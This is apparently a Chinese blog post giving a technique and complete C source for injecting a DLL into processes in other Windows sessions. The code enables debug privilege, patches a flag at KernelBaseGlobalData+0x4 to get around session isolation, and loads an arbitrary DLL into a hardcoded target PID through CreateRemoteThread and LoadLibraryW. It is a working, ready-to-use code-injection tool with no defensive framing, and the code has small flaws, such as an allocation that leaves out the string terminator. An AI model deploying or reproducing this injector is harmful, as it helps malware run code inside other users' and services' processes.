跨session注入dll

有一件有意思的事 SESSION 隔离是在 RING 3 实现的，而非在 RING 0 里实现，意思是用户层可以修改session的标志位，CreateRemoteThreadEx中会判断当前的会话级别，这里只需要在应用层修改自己的KernelBaseGlobalData+0x4的位置的数据为1就能完成跨session注入，但是有的进程你还是注入不了，这个也只能解决在不同session下dll注入的问题，下图是注入成功的图

代码如下所示

#include<windows.h>
#include<stdio.h>

typedef void* (__fastcall *LPFN_KernelBaseGetGlobalData)(void);


BOOL WINAPI InjectDllExW(DWORD dwPID, PCWSTR pwszProxyFile)
{
	BOOL ret = FALSE;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	FARPROC pfnThreadRtn = NULL;
	PWSTR pwszPara = NULL;
	PVOID pRemoteShellcode = NULL;

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
	if (!hProcess) {
		//printf("Open Process failed\n");
		return FALSE;
	}

	//得到函数地址，三环下对应的位置api地址都是相同的
	pfnThreadRtn = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryW");

	//写入字符串到被注入的进程
	size_t iProxyFileLen = wcslen(pwszProxyFile) * sizeof(WCHAR);
	pwszPara = (PWSTR)VirtualAllocEx(hProcess, NULL, iProxyFileLen, MEM_COMMIT,PAGE_READWRITE);

	if (!pwszPara) {
		//printf("VirtualAllocEx failed\n");
		return FALSE;
	}

	WriteProcessMemory(hProcess, pwszPara, (PVOID)pwszProxyFile, iProxyFileLen, NULL);

	//找修改的位置
	LPFN_KernelBaseGetGlobalData pKernelBaseGetGlobalData = NULL;
	UCHAR* pGlobalData = NULL;
	UCHAR* pMisc = NULL;
	ULONG PatchOffset = 0;

	pKernelBaseGetGlobalData =(LPFN_KernelBaseGetGlobalData)GetProcAddress(LoadLibraryW(L"KernelBase.dll"), "KernelBaseGetGlobalData");
	pGlobalData = (UCHAR*)pKernelBaseGetGlobalData();


	PatchOffset = 0x4;

	printf("PatchOffset: %x\n", pwszPara);

	pMisc = pGlobalData + PatchOffset;
	*pMisc = 1;


	//创建远程线程
	hThread = CreateRemoteThread(hProcess, NULL, 0,(LPTHREAD_START_ROUTINE)pfnThreadRtn, pwszPara, 0, NULL);

	//等待结束
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	VirtualFreeEx(hProcess, pwszPara, 0, MEM_RELEASE);
	CloseHandle(hProcess);
	return TRUE;
}

BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	LUID sedebugnameValue;
	TOKEN_PRIVILEGES tkp;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
		return   FALSE;
	}
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
		CloseHandle(hToken);
		return FALSE;
	}
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = sedebugnameValue;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
		CloseHandle(hToken);
		return FALSE;
	}
	return TRUE;
}

int main() {


	EnableDebugPrivilege();
	InjectDllExW(3288,L"C:\\Users\\Administrator\\Desktop\\InJecteDll.dll");


	//LoadLibraryW(L"InJecteDll.dll");
	system("pause");
	return 0;
}